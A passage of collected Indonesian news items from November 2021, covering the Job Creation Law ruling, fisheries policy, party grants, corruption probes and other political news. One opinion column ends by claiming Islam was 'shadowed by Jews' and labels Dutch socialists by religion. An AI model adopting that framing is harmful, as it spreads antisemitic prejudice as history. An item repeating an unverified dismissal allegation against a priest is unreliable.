kebudayaan masyarakat. "Kami terus gelorakan PDI Perjuangan sebagai wadah anak-anak muda, sekaligus partai politik pilihan kaum milenial. Kami terus perkuat kerja kerja-kerja ideologis dan membumikan Pancasila melalui kerja-kerja gotong royong," kata Adi yang juga Ketua DPRD Surabaya ini. Wakil Ketua Bidang Pemuda dan Olahraga DPC PDI Perjuangan Kota Surabaya Abdul Ghoni Mukhlas Niam menambahkan, kegiatan ini sekaligus mendorong pemulihan ekonomi Surabaya, penguatan ekonomi kreatif yang diminati anak-anak muda. "Ini juga sekaligus menghidupkan tradisi kebudayaan masyarakat pesisir," kata Ghoni yang juga anggota DPRD Surabaya ini. (mth)

Menteri KKP Perjuangkan Kesejahteraan 6.000 Nelayan Lokal di Kepri

Tanjungpinang, FNN - Menteri Kelautan dan Perikanan (KP) Sakti Wahyu Trenggono berkomitmen memperjuangkan kesejahteraan sekitar 6.000 lebih nelayan lokal Kepulauan Riau (Kepri) melalui kebijakan penangkapan terukur. "Kementerian Kelautan dan Perikanan akan menerapkan kebijakan penangkapan terukur mulai 2022," kata Menteri Wahyu saat kunjungan kerja ke Kabupaten Bintan, Kepri, Jumat. Wahyu Trenggono menyampaikan bahwa kebijakan tersebut merupakan salah satu bagian dari rencana kebijakan baru di sektor perikanan. Menurutnya hal ini sesuai dengan kondisi geografis Kepri yang terdiri dari 96 persen lautan dengan potensi perikanan mencapai 1,1 juta ton per tahun. "Selama ini kita sudah terlalu lama memunggungi laut. Setelah memilah-memilah dan melihat secara langsung, melalui kebijakan ini nantinya sektor perikanan benar-benar akan memberikan manfaat bagi negara, khususnya di daerah," ujarnya. Wahyu mengatakan ke depan industri perikanan akan dipusatkan di Kepri. Nantinya, nelayan lokal hanya menjual ikan di dalam daerah itu, sementara pengusaha tidak boleh membawa ikan ke luar dari daerah tersebut. Lanjutnya semua proses, transaksi hingga ekspor ikan dilakukan di Kepri. Dengan demikian perekonomian nelayan lokal dipastikan meningkat, dan di sisi lain dapat menciptakan lapangan kerja baru. Selama ini nelayan di Indonesia, termasuk Kepri melakukan penangkapan ikan lalu menjualnya ke Pulau Jawa. "Semua menumpuk di Pulau Jawa, hal itu membuat daerah yang menjadi tempat penangkapan ikan tidak mendapatkan apa-apa," ungkapnya. Dengan cara tersebut, lanjut dia, diharapkan dapat menjaga keberlanjutan dan kelestarian laut. Targetnya ialah nelayan tradisional tetap bisa melaut, dan harga di pasar terjaga. Dia optimis kebijakan ini akan menghidupkan ekonomi daerah kepulauan, khususnya Kepri. pelabuhan yang nantinya akan disiapkan sebagai tempat penjualan ikan yakni di Kabupaten Natuna dan Kota Batam. "Nelayan lokal harus meningkat kesejahteraannya. Caranya harus ada industri, kemudian pengusahanya juga kita diberdayakan," demikian Wahyu. (mth)

Disperindagkop - UKM Gelar Uji Tera di 13 Kecamatan

Tangerang, FNN - UKM melalui UPT Pelayanan Metrologi Legal Kota Tangerang menggelar uji tera massal di 13 Kecamatan dengan sasaran para pedagang di pertokoan hingga pasar tradisional. Kepala UPT Pelayanan Metrologi Legal Kota Tangerang, Gunawan di Tangerang Jumat dalam keterangannya mengatakan kegiatan uji tera dilaksanakan dalam rangka mewujudkan kota tertib ukur dan tertib niaga. Ia menuturkan kegiatan uji tera merupakan pengujian kesesuaian alat ukur, alat takar, alat timbang, alat perlengkapan pada aktivitas perdagangan di Kota Tangerang. Pihaknya telah melaksanakan uji tera di beberapa lokasi seperti di Pasar Kreo, Royal, Blok K Kunciran, Keroncong Permai, Pertokoan Tangcity Mall, Pertokoan Jalan Raden Fatah hingga Ufit Goldland Karawaci. “Saat ini yang lagi jalan, adalah uji tera massal di kecamatan. Yang sudah jalan, Kecamatan Batuceper, Benda, Ciledug, Pinang dan Tangerang. Secara berkala akan berlangsung diseluruh kecamatan,” katanya. Kata Gunawan, jika pada uji tera ditemukan hal-hal kecurangan atau keluar dari batas kesalahan yang diizinkan. Maka dipastikan, penguji tera atau penera yang telah bersertifikat dapat melakukan penjustiran atau perbaikan pada alat timbang tersebut. “Tentu, hal ini diiringi dengan pembinaan atau pendekatan, untuk berniaga secara jujur. Sehingga, konsumen mendapat haknya sesuai dengan apa yang ia bayar. Dengan begitu, aktivitas berniaga di Kota Tangerang aman dan konsumen terlindungi,” kata dia. (mth)

Sahroni Merasa Terhormat Ditunjuk Jadi Ketua Pelaksana Formula E

Jakarta, FNN - Wakil Ketua Komisi III DPR RI Ahmad Sahroni merasa terhormat setelah ditunjuk oleh Gubernur DKI Jakarta Anies Basweda menjadi Ketua Pelaksana balap mobil listrik internasional Formula E atau Jakarta E-Prix. “Saya merasa terhormat. Semoga 'passion' dan pengalaman saya di dunia otomotif selama ini bisa membantu mengangkat nama Indonesia melalui event (peristiwa) penting ini," kata Sahroni di Jakarta, Jumat. Dia menilai pelaksanaan Formula E bukan hanya sebagai tontonan, namun demi kebanggaan dan masa depan Indonesia. Sahroni menjelaskan, ajang Formula E adalah kampanye yang digelar untuk untuk menunjukkan pada dunia internasional bahwa Indonesia dengan ibu kotanya, DKI Jakarta, telah siap sejajar dengan kota-kota besar di negara lain. “Formula E adalah sebuah kampanye, bukan kampanye politik orang atau partai tertentu. Namun kampanye Indonesia di mata dunia, bahwa DKI Jakarta telah siap menyambut era modern yang ramah lingkungan, dan setara dengan kota-kota besar di negara maju lainnya seperti New York, London, Berlin," ujarnya. Sekretaris Jenderal Ikatan Motor Indonesia (IMI) itu menilai Formula E bisa menjadi momentum kebangkitan ekonomi Indonesia dari berbagai skala, baik mikro dan makro. Selain itu menurut dia, penggunaan mobil listrik di Formula E juga bisa menjadi ajang untuk menyosialisasikan tentang industri baterai dalam negeri yang dicita-citakan Presiden Joko Widodo. “Ini adalah momentum untuk kebangkitan politik, sekaligus makin memperkenalkan mobil listrik dan industri baterai dalam negeri kepada masyarakat. Saya mohon, mari kita kesampingkan prasangka dan kepentingan politik, kita kerja bersama demi suksesnya event ini," katanya. Sahroni juga memastikan pelaksanaan Formula E akan dilaksanakan secara transparan karena dirinya akan meminta KPK untuk ikut mengawasi dari awal hingga akhir proses pelaksanaannya. Dia juga mempersilahkan masyarakat memberikan kritik yang membangun agar pelaksanaan Formula E berjalan sukses sehingga menjadi kebanggaan bagi bangsa Indonesia. "Masyarakat juga silakan awasi dan bantu mendukung dengan kritik membangun, insha Allah semua lancar. Sekali lagi, ini bukan hanya proyek Pemprov DKI, pemerintah pusat, IMI, atau siapapun, ini proyek kita bersama," katanya. Sebelumnya, Gubernur DKI Jakarta Anies Baswedan pada Kamis (25/11) menyampaikan keterangan bahwa dirinya telah menunjuk Sekjen Ikatan Motor Indonesia (IMI) Ahmad Sahroni sebagai ketua pelaksana dan Bambang Soesatyo menjadi Ketua Panitia Pengarah Jakarta E-Prix. (sws)

KASN Segera Kirim Rekomendasi Terkait ASN Pakai Seragam Partai Politik

Jakarta, FNN - Komisi Aparatur Sipil Negara (KASN) segera mengirimkan rekomendasi terkait hasil pemeriksaan kasus Aparatur Sipil Negara (ASN) Kementerian Pertanian yang mengenakan seragam partai politik tertentu kepada Menteri Pertanian (Mentan) Syahrul Yasin Limpo. Wakil Ketua Komisi Aparatur Sipil Negara (KASN) Tasdik Kinanto mengatakan bahwa Tim Pemeriksa KASN telah menganalisis seluruh hasil berita acara pemeriksaan terkait kasus ASN yang memakai seragam partai politik. Untuk itu pihaknya segera mengirim rekomendasi kepada Menteri Pertanian (Mentan) Syahrul Yasin Limpo selaku Pejabat Pembina Kepegawaian untuk ditindaklanjuti, kata Tasdik dalam keterangan tertulis yang diterima di Jakarta, Jumat. “Apabila Mentan tidak menindaklanjuti rekomendasi tersebut, maka KASN akan menyampaikan laporan kepada Presiden,” ujar Tasdik. Tasdik yang merupakan Tim Ketua Pemeriksa KASN mengatakan, seluruh pejabat yang diduga terlibat telah diperiksa KASN. Pemeriksaan, tambahnya, dilakukan secara maraton selama 3 hari untuk menggali dan meminta penjelasan dari para pihak yang terlibat. Di samping itu, ketika diminta keterangan terkait sanksi, Tasdik menegaskan akan menerapkan penanganan sesuai dengan ketentuan yang berlaku. “Tim kami bekerja secara objektif menangani kasus ini. Jika terbukti melanggar ketentuan, setiap ASN tentu harus secara ksatria menerima sanksi atas kesalahan yang diperbuat,” pungkas Tasdik. Sementara itu, Ketua Komisi Aparatur Sipil Negara (KASN) Agus Pramusinto menilai kasus aparatur sipil negara (ASN) Kementerian Pertanian yang memakai seragam dan atribut terafiliasi partai politik tertentu menunjukkan bahwa politisasi birokrasi di Indonesia masih terus terjadi. Menurutnya berdasarkan keterangan tertulis yang diterima di Jakarta, Jumat, kondisi tersebut berpotensi mengganggu netralitas ASN menuju Pemilu 2024. “Presiden selaku pemegang kekuasaan tertinggi pembinaan ASN agar mencermati potensi politisasi ASN oleh para pejabat politik dalam birokrasi," imbau Agus. Tanpa pemberian sanksi yang tegas terhadap pejabat politik yang memimpin birokrasi, lanjut Agus, dikhawatirkan politisasi ASN akan semakin meningkat. Sebelumnya, sejumlah ASN yang menjabat jabatan pimpinan tinggi madya (eselon I) menggunakan seragam dan atribut terafiliasi partai politik tertentu dalam acara hari ulang tahun salah satu partai politik pada 11 November 2021. Menindaklanjuti temuan tersebut, KASN segera memanggil para pejabat terlibat. (sws)

F-PKS Apresiasi Putusan MK Terkait UU Cipta Kerja

Jakarta, FNN - Ketua Fraksi PKS DPR, Jazuli Juwaini, mengapresiasi putusan Mahkamah Konstitusi (MK) yang menyatakan pembentukan UU Nomor 11/2020 tentang Cipta Kerja bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. "Fraksi PKS menyambut baik putusan MK itu karena memenuhi rasa keadilan dan kegelisahan rakyat luas terhadap pemberlakuan UU Cipta Kerja. Dengan alasan yang sama Fraksi PKS secara bulat menolak UU itu saat pengesahan di DPR," kata dia, di Jakarta, Jumat. Ia mengatakan, meskipun MK dalam putusannya menyatakan UU Cipta Kerja inkonstitusional bersyarat atau inkonstitusional sepanjang tidak diperbaiki pembentuk undang-undang, namun putusan itu harus dimaknai secara bijak oleh pemerintah. Hal itu menurut dia karena UU Cipta Kerja itu merugikan kepentingan rakyat luas, di antaranya buruh, petani, nelayan, penyandang disabilitas, sebagaimana yang selama ini disuarakan masyarakat. "MK memutuskan UU Cipta Kerja harus diperbaiki dalam jangka waktu dua tahun, jika tidak (maka) menjadi inkonstitusional permanen. Pemerintah dan DPR harus menangkap pesan subtansial di luar formil, jika perbaikan dilakukan maka harus jelas pesan keberpihakan bagi masyarakat," ujarnya. Ia berharap pemerintah tunduk dan patuh dengan poin lain putusan MK untuk menangguhkan segala tindakan atau kebijakan yang bersifat strategis dan berdampak luas, serta tidak menerbitkan aturan pelaksana baru yang berkaitan dengan UU Cipta Kerja. Ia juga berharap pemerintah kembali kepada kebijakan yang benar-benar pro-rakyat dan pro kemandirian nasional. Sebelumnya, Majelis Hakim MK menyatakan UU Nomor 11/2020 tentang Cipta Kerja bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat. “Bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 dan tidak mempunyai kekuatan hukum mengikat secara bersyarat sepanjang tidak dimaknai “tidak dilakukan perbaikan dalam waktu dua tahun sejak putusan ini diucapkan,” kata Ketua MK, Anwar Usman, saat membacakan amar putusan yang disiarkan secara langsung di kanal YouTube Mahkamah Konstitusi dan dipantau dari Jakarta, Kamis (25/11). Dalam pembacaan amar putusan, dia juga menyatakan bahwa UU Cipta Kerja masih tetap berlaku sampai dengan para pembentuk undang-undang, yakni pemerintah dengan DPR, melakukan perbaikan pembentukan sesuai dengan tenggang waktu sebagaimana yang telah ditentukan di dalam putusan tersebut. Lebih lanjut, MK memerintahkan kepada para pembentuk undang-undang untuk melakukan perbaikan dalam jangka waktu paling lama dua tahun sejak putusan tersebut diucapkan MK, dan apabila dalam tenggang waktu tersebut para pembentuk undang-undang tidak melakukan perbaikan, maka UU Cipta Kerja menjadi inkonstitusional secara permanen. (sws)

Kejagung akan Lakukan Penyidikan Kasus HAM Berat

Jakarta, FNN - Jaksa Agung Sanitiar Burhanuddin mengatakan pihaknya akan melakukan penyidikan umum terhadap sejumlah kasus pelanggaran HAM berat untuk menyempurnakan hasil penyelidikan oleh Komisi Nasional Hak Asasi Manusia (Komnas HAM). Hal ini merupakan salah satu upaya untuk mengatasi kebuntuan serta menyelesaikan tunggakan kasus HAM Berat, kata Burhanuddin dalam keterangan tertulis yang diterima di Jakarta, Jumat. "Saya yakin kebijakan ini akan memecah kebuntuan, dan menuntaskan perkara HAM yang menjadi tunggakan selama ini," ujar Burhanuddin. Dengan penyidikan umum ini, Burhanuddin optimistis penuntasan tunggakan perkara dugaan pelanggaran HAM berat. Menurut Burhanuddin, penuntasan dugaan pelanggaran HAM berat yang sampai saat ini seolah berhenti, dan tidak ada kejelasan sebagai akibat adanya kebuntuan persepsi antara penyelidik Komnas HAM dengan penyidik Kejaksaan. Ia menerangkan, hasil penyelidikan oleh Komnas HAM belum sempurna untuk ditingkatkan ke tahap penyidikan, namun petunjuk penyidik Kejaksaan agar terpenuhinya amanat undang-undang tidak pernah dipenuhi, sehingga penanganan perkara menjadi berlarut-larut. Berlarut-larutnya penanganan dugaan pelanggaran HAM berat ini, kata Burhanuddin, karena hasil penyelidikan Komnas HAM belum menemukan alat bukti yang cukup untuk menduga bahwa seseorang berdasarkan suatu peristiwa atau keadaan adalah sebagai pelaku kejahatan HAM berat. Selain itu, penyelidik juga belum memeriksa saksi kunci dan menemukan dokumen yang diharapkan dapat menjelaskan unsur kejahatan terhadap kemanusiaan dan unsur serangan yang meluas atau sistematik sebagaimana dimaksud Pasal 9 Undang-Undang Nomor 26 Tahun 2000 tentang Pengadilan Hak Asasi Manusia. "Oleh karena itu, untuk memberikan kepastian dan keadilan, serta mengatasi kebuntuan yang terjadi, maka saya sebagai Jaksa Agung, selaku penyidik HAM berat mengambil kebijakan penting, yaitu tindakan hukum untuk melakukan penyidikan umum perkara pelanggaran HAM berat masa kini guna menyempurnakan hasil penyelidikan Komnas HAM," kata Burhanuddin. (sws)

Polres Lebak Ungkap Mantan Kades Diduga Gelapkan Dana COVID-19

Lebak, FNN - Kepolisian Resor ( Polres) Lebak, Polda Banten mengungkap mantan Kepala Desa Pasindangan Kecamatan Cikulur Kabupaten Lebak diduga menggelapkan dana bantuan langsung tunai ( BLT) COVID-19 sebesar Rp90 juta. "Kami melakukan penyelidikan terhadap kasus dugaan penggelapan dana BLT COVID-19 yang diduga dilakukan oleh oknum mantan kades berinisial AU (49), " kata Kasat Reskrim Polres Lebak Ajun Komisaris Indik Rusmono di Lebak, Kamis (25/11). Penyaluran dana BLT yang diduga digelapkan oleh mantan kades sebesar Rp 90 juta untuk tiga tahapan pencairan. Dimana satu pencairan sebesar Rp30 juta untuk 100 kepala keluarga dengan masing - masing menerima Rp300 ribu/ KK. "Ya benar, kita sudah melakukan penggeledahan di Kantor Desa Pasindangan untuk mengungkap dugaan kasus penggelapan dana BLT COVID-19," katanya menjelaskan. Ia mengatakan, bahwa dalam penggeledahan itu pihaknya mengamankan satu boks yang dipenuhi dokumen. Dimana dokumen itu akan digunakan sebagai barang bukti penguat dugaan kasus penggelapan dana BLT COVID-19. Pihaknya juga sudah memeriksa beberapa saksi di Kantor Desa Pasindangan, bahkan juga memeriksa 100 keluarga penerima manfaat ( KPM) penerima BLT COVID-19 itu. Selain itu juga melakukan pemeriksaan terhadap lima pegawai kantor desa setempat. "Kami mengamankan dokumen-dokumen tadi dapat menjadi penguat dugaan kasus Tipikor oknum mantan kades itu, " kata Indik. Mantan kades AU bisa dikenakan pasal 2 ayat 1 Jo Pasal 3 UU RI Nomor 31 tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi. "Jika AU terbukti bersalah maka akan terjerat pasal itu dengan ancaman hukuman denda maksimal Rp1 miliar dengan ancaman kurungan penjara seumur hidup," katanya. (sws)

Bupati: Penghargaan Keterbukaan Informasi Dorong Kinerja Pemerintahan

Sampit, FNN - Bupati Kotawaringin Timur Halikinnor mengatakan penghargaan Keterbukaan Informasi Publik yang diterima pemkab setempat dari Komisi Informasi mendorong peningkatan kinerja pemerintahan setempat, khususnya dalam mewujudkan keterbukaan informasi publik sebagai referensi masyarakat mengembangkan diri, ekonomi, dan aktivitas lainnya. "Ini menjadi amunisi dan jadi motivasi bagi kami untuk bagaimana ke depan berinovasi untuk meningkatkan lagi karena sudah eranya keterbukaan informasi publik dan informasi yang memberikan manfaat bagi semua," katanya di Sampit, Ibu Kota Kabupaten Kotawaringin Timur, Provinsi Kalimantan Tengah, Jumat. Penghargaan Keterbukaan Informasi diserahkan oleh Wakil Gubernur Kalteng Edy Pratowo di Palangka Raya, Kamis (25/11). Bupati Halikinnor hadir didampingi Sekretaris Daerah Fajrurrahman dan Kepala Dinas Komunikasi dan Informatika Kotawaringin Timur Multazam. Pemerintah Kabupaten Kotawaringin Timur menerima penghargaan peringkat dua untuk kategori Menuju Informatif. Peringkat pertama diraih Pulang Pisau, peringkat ketiga Katingan dan peringkat keempat Murung Raya. Sementara itu, untuk PPID Utama kabupaten dan kota, kategori informatif peringkat pertama diraih Kota Palangka Raya, peringkat kedua Kabupaten Kotawaringin Barat, dan peringkat ketiga Kabupaten Kapuas. Halikinnor mengatakan Pemerintah Kabupaten Kotawaringin Timur terus berbenah dan meningkatkan pelayanan kepada masyarakat, termasuk dalam hal keterbukaan informasi publik. Pemerintah daerah menyadari bahwa keterbukaan sudah menjadi hal mutlak dalam pemerintahan. Keterbukaan tersebut tidak hanya bermanfaat bagi masyarakat, tetapi juga menjadi sarana kontrol sosial bagi pemerintah. Keterbukaan informasi juga menjadi salah satu perhatian serius Pemerintah Kabupaten Kotawaringin Timur sejalan dengan tekad pemerintah daerah ini mewujudkan Kota Cerdas. Saat ini, berbagai program dan kerja sama dijalankan pemerintah daerah untuk mewujudkan Kota Cerdas, khususnya melalui Dinas Komunikasi dan Informatika sebagai ujung tombak pelaksana di lapangan dengan didukung perangkat daerah lainnya. Halikinnor optimistis Kotawaringin Timur mampu menjadi lebih baik dalam hal keterbukaan informasi publik, sekaligus mewujudkan Kota Cerdas untuk meningkatkan pelayanan kepada seluruh masyarakat. "Kami terus melakukan berbagai inovasi dalam mewujudkan 'Smart City' (Kota Cerdas), tentu di dalamnya terkait keterbukaan informasi sebagai bagian utamanya. Kami yakin ini bisa segera kita wujudkan bersama," demikian Halikinnor. (sws)

Parpol di Tanah Laut Terima Dana Hibah Rp8.350/Suara

Tanah Laut, FNN - Sebanyak 10 partai politik (Parpol) di Kabupaten Tanah Laut, Kalimantan Selatan menerima dana hibah untuk pembinaan sebesar Rp8.350 per suara. Staf Ahli Setdakab Tanah Laut, HM Mursyi, Kamis (25/11) mengatakan, partai politik yang mendapatkan dana hibah Rp8.350 satu suara sah, sesuai Keputusan Bupati Tanah Laut Nomor: 188.45/298-KUM/2021 tentang Hibah Bantuan Keuangan pada Partai Politik Kabupaten Tanah Laut Tahun 2021. "Secara keseluruhan, jumlah dihibahkan kepada 10 partai adalah Rp1.464.698.550," terangnya di Pelaihari. Kepala Sub Bagian Kelembagaan Partai Politik dan Fasilitas Pemilu Bakesbangpol Tanah Laut, Bahtiar, menyebutkan, pihaknya ingin mengurangi kesulitan yang dihadapi partai politik saat melaporkan hibah yang diterima. “Terutama perihal perpajakan, hukum dan laporan pertanggungjawaban. Biasanya pajak yang sering mereka tanyakan,” ujarnya. Meningkatkan kemampuan pengurus partai mengelola dana tersebut, Pemkab Tanah Laut melalui dinas terkait melatih pengurus tentang administrasi dan sistem pelaporan. Pelatihan menghadirkan beberapa narasumber, di antaranya dari Kantor Pelayanan Penyuluhan dan Konsultasi Perpajakan (KP2KP) Pelaihari, Bagian Hukum Sekretariat Daerah Setda Tanah Laut dan Badan Pemeriksa Keuangan (BPK) Republik Indonesia (RI) Perwakilan Provinsi Kalimantan Selatan. Setelah mengikuti kegiatan tersebut, dia berharap, para partai politik dapat menyajikan laporan dengan baik tanpa kendala lagi, terutama dalam perpajakan. Dijelaskannya, jadwal untuk pelaporan hibah tersebut, terang dia, ditargetkan selesai pada Januari 2022. “Setiap pelaporan yang sering ditanyakan itu perpajakan, semoga partai politik yang sudah hadir hari ini benar-benar memahami bagaimana pelaporan selanjutnya, agar tidak terkendala,” harap Bahtiar. Sementara itu, partai yang mendapatkan hibah adalah, Partai Nasdem, PKB, PKS, PDI Perjuangan, Golkar, Gerinda, Demokrat, PAN, PPP dan Hanura. (sws)

Anggota DPR Harap Para Guru Beradaptasi dengan Kemajuan Teknologi

Jakarta, FNN - Anggota DPR RI Sonny T Danaparamita berharap para guru di Indonesia lebih beradaptasi dengan berbagai kemajuan teknologi. "Kita harus sadari pada abad 21 ini teknologi telah menjelma menjadi komponen utama penggerak kehidupan. Semua hal saat ini telah menggunakan teknologi, tak terkecuali pada bidang pendidikan. Oleh sebab itu para guru dan tenaga pendidik lainnya harus bisa lebih beradaptasi dengan teknologi," Kata Sonny dalam keterangan tertulis di Jakarta, Kamis. Hal itu disampaikan Sonny dalam rangka peringatan Hari Guru Nasional Ke-25 Tahun 2021. Menurutnya, pada era modernisasi yang sangat masif seperti saat ini, teknologi menjadi sebuah keniscayaan. Ditambah lagi sejak terjadinya wabah pendemi COVID-19, teknologi menjadi salah salah sektor yang memiliki peranan cukup besar untuk menunjang kehidupan dalam kegiatan sehari hari, termasuk dalam bidang pendidikan. Sonny mengaku bahwa almarhum kedua orang tuanya berprofesi sebagai guru. Dari sanalah dirinya menyadari betul bahwa guru harus bisa selalu dinamis dalam mengikuti zaman agar ilmu yang disampaikan dapat diterima dengan baik oleh murid-muridnya. "Almarhum kedua orang orang tua saya guru, dari beliaulah saya banyak belajar dan mengerti bahwa sebagai tenaga pendidik harus dinamis dan selalu adaptif dalam mengajar agar ilmu dapat tersampaikan dengan baik, maka jika saat ini eranya teknologi maka tenaga pendidik harus bisa adaptif dengan hal itu," ungkap Sonny. Legislator dari Dapil lll Jatim itu menjelaskan bahwa saat ini pelajar Indonesia sebagian besar menggunakan teknologi sebagai sarana untuk belajar karena mudah dan efisiensi. Oleh sebab itu,seluruh tenaga pendidik di Indonesia diharapkan bisa segera beradaptasi dengan teknologi. "Saat ini sudah menjadi hal umum bahwa para pelajar kita menjadikan teknologi sebagai alat mencari bahan pelajaran yang mereka butuhkan. Maka di situlah guru harus bisa mengimbangi dan bisa segera adaptif dengan teknologi," jelas Sonny. Pada hari guru ini, Sonny tak lupa mengucapkan terima kasih untuk seluruh guru yang telah mengabdikan dirinya berdedikasi untuk pendidikan Indonesia. "Saya mengucapkan terima kasih yang sebesar-besarnya kepada semua guru di mana pun berada. Memang tidak semua guru luar biasa. Tapi orang menjadi luar biasa karena hasil sentuhan dan didikan dari guru," kata Sonny. Sonny berharap ke depan selain menjadi guru yang bisa adaptif dengan teknologi, guru harus bisa menginspirasi serta menciptakan ekosistem sekolah yang menantang, sekaligus menyenangkan sehingga membuat murid senang dalam kegiatan belajar mengajar. "Tentu harapan kita semua bahwa tidak hanya adaptif dengan teknologi, namun guru harus menjadi sosok yang menginspirasi, menciptakan ruang dialektis, dan menjadikan ekosistem sekolah lebih menantang dan menyenangkan," harapnya. (sws)

Sarekat Dagang

Oleh Ridwan Saidi SEBAGAI komunitas bisnis di zona-zona ekonomi, Sarekat Dagang sudah berperan sejak Islam menguasai perdagangan di Andunisi pada XV M. Sarekat dagang yang memilih Syahbandar. Sarekat Dagang Islam Samanhudi di Solo: "koperasi" batik muslim dan non-ideologis. Tak sentralistik. Di Jakarta oleh Tirtoadisuryo pada 1909 dan di Bogor oleh Bajenet pada 1909. Sarekat Dagang sejak berdiri anggota-anggotanya kebanyakan Islam, lihat litho. H0S TJokroaminito ikut Sarekat Dagang Indonesia, tapi tak ada kaitan aspiratif dengan kelak berdirinya Sarekat Islam pada tahun 1912. Sarekat Dagang semacam KADIN. Ada pun Sarekat Islam pergerakan politik. Sejarawan mengait-kaitkan keduanya tanpa dasar. Tidak perlu berebut tua dengan Budi Utomo yang tahun 1908. Kita punya yang lebih tua lagi Jamiatul Khair yang lahir tahun 1903. Itu kalau soal adu tua. Pendiri SI Omar Said dan Ali Surati Indian Moslem. A Muis later on. Diduga Surati ide drager perlunya organisasi Islam ideologis. Jamiatul Khair bersifat sosial. Mungkin Ali Surati orang Pan Islamisme jaringan Pekojan. SI dapat pengakuan/ RECHTSPERSOON tahun 1913. Menurut A.P.E Korver pada tahun 1914 anggota SI sudah mencapai dua jtuta orang. Ini yang membuat Yahudi Belanda dengan 85 orang anggota dengan grup masing-masing: SOCIAL Democratisch Partij dan Social Democratisch Actie Partij berduyun-duyun pergi ke Jawa dan kontak Omar Said pada tahun 1914 minta dibantu karena dua grup tadi yang dipimpin Sneevliet mau mendirikan Indische Social Democratisch Partij. Dari sini kita dapat tarik pelajaran politik, Islam baru saja muncul langsung dibayangi Yahudi. *) Budayawan

Aktivis Yang Dipenjara Gegara UU Cipta Kerja Harus Dipulihkan Nama Baiknya

Jakarta, FNN - Sejumlah aktivis yang ditangkap dan menjalani proses hukum terkait protes UU Cipta Kerja diminta dibebaskan dan dikembalikan nama baiknya. Bagi Deklarator Koalisi Aksi Menyelamatkan Indonesia (KAMI), Gde Siriana Yusuf, putusan Mahkamah Konstitusi (MK) yang menyebut UU 11/2020 tentang Cipta Kerja inkonstitusional bersyarat sudah cukup menjadi alasan merehabilitasi aktivis yang ditangkap. "Masyarakat yang dijerat dengan hukum terkait aksi protes terhadap UU Cipta Kerja harus dibebaskan dari hukum dan direhabilitasi," kata Gde Siriana Yusuf kepada FNN, Jumat (26/11). Substansi protes masyarakat mengenai UU Cipta Kerja dalam uji materi di MK, kata dia, menunjukkan bahwa protes sebelumnya dilakukan sebagai check and balance. "Kritik, protes masyarakat ternyata benar dibutuhkan sebagai check and balance. Jika masyarakat tidak protes dan ajukan JR, artinya UU yang langgar konstitusi akan terus dibiarkan," tegas Komite Eksekutif KAMI ini. Oleh sebab itu, ia meminta kepada pemerintah segera menindaklanjuti putusan MK dengan memulihkan nama baik masyarakat yang tersandung kasus hukum dalam mengkritik UU tersebut, termasuk para aktivis KAMI. "Maka, Syahganda, Jumhur, Anton Permana dan masyarakat lain yang ditangkap atau dipenjara karena protes UU Ciptaker harus dibebaskan dan direhab," tutupnya. Seperti diketahui UU Cipta Kerja digugat ke MK oleh beberapa elemen buruh. Dalam pertimbangan putusan sidang Kamis (25/11) Mahkamah menilai tata cara pembentukan UU 11/2020 tidak didasarkan pada cara dan metode yang pasti, baku, dan standar, serta sistematika pembentukan undang-undang, terjadinya perubahan penulisan beberapa substansi pasca persetujuan bersama DPR dan Presiden dan bertentangan dengan asas-asas pembentukan peraturan perundang-undangan. Mahkamah berpendapat proses pembentukan UU Nomor 11 Tahun 2020 tidak memenuhi ketentuan berdasarkan UUD 1945 sehingga harus dinyatakan cacat formil. Selain itu, untuk menghindari ketidakpastian hukum dan dampak lebih besar yang ditimbulkan, Mahkamah menilai UU Cipta Kerja harus dinyatakan inkonstitusional secara bersyarat. "Menimbang bahwa berdasarkan uraian pertimbangan hukum tersebut di atas, menurut Mahkamah UU 11/2020 harus dinyatakan inkonstitusional secara bersyarat sebagaimana dinyatakan dalam amar putusan ini," ucap MK. UU Ciptaker atau Undang-Undang Nomor 11 Tahun 2020 tentang Cipta Kerja disahkan oleh DPR pada 5 Oktober 2020. Pemerintah selaku pengusul menilai, UU Cipta Kerja dirancang untuk menjawab kebutuhan pekerja, pelaku usaha kecil, dan juga industri. Sementara UU itu disahkan di tengah penolakan berbagai pihak mulai dari mahasiswa sampai buruh. Ketentuan dalam UU Ciptaker dianggap banyak merugikan para pekerja. Pada hari ini, para buruh dari Jakarta hingga Jawa Timur juga menggelar aksi bertepatan dengan keputusan MK atas judicial review UU Cipta Kerja. (sws)

Natalius Pigai Sarankan Benny Susetyo Segera Kawin

Jakarta, FNN - Romo Benny Susetyo diduga sudah tidak menjadi bagian dari Konferensi Waligereja Indonesia (KWI). Hal tersebut diungkap aktivis Katolik, Natalius Pigai menanggapi ramainya perdebatan soal status Staf Khusus Ketua Dewan Pengarah Badan Pembinaan Ideologi Pancasila (BPIP) karena kerap bicara politik. Terbaru, Benny Susetyo melalui akun Twitternya turut mempromosikan kanal YouTube yang membahas dorongan agar Majelis Ulama Indonesia (MUI) berbenah diri. Judulnya, “MUI Harus Berbenah Jangan Jadi Sarang Kelompok Radikal”. "Soal Benny Susetyo, sejauh yang saya pahami beliau pernah dipecat dari KWI sebagai Sekretaris Komisi HAM," kata Natalius Pigai kepada FNN, Kamis (25/11) di Jakarta. Pigai menjelaskan, pemecatan tersebut tak lain karena Benny Susetyo kerap memposisikan diri sebagai politisi. "Soal ini bisa dimengerti karena Benny terlalu aktif sebagai politisi sehingga saya yakin gereja sudah koreksi statusnya. Cuma Benny tidak mau sampaikan ke publik karena malu," sambungnya. Berangkat dari alasan tersebut, Natalius Pigai pun meminta sebutan "Romo" yang selama ini disematkan kepada Benny Susetyo ditanggalkan. "Sebagai aktivis Katolik, saya sekadar imbau jika Benny Susetyo tidak mewakili Gereja Katolik dan sebaiknya sebutan Romo diganti menjadi Pak Beni Susetyo," tandasnya. Piga juga menegaskan dirinya pernah menganjurkan Benny agar segera kawin. “Benny Susetyo itu anaknya berapa, dan kawin saja agar tidak membawa nama dan merusak citra Gereja Katolik. Ini saya sampaikan di kompleks CNN TV di depan anggota DPR RI dari PDIP yang juga teman saya mantan PMKRI,” kata Pigai kepada FNN di Jakarta Kamis (25/11). Mengenai manuver politik Benny Susetyo, Koordinator Gerakan Indonesia Bersih (GIB) Adhie M. Massardi sebelumnya juga turut berkomentar. Ia meminta KWI turun tangan memberi 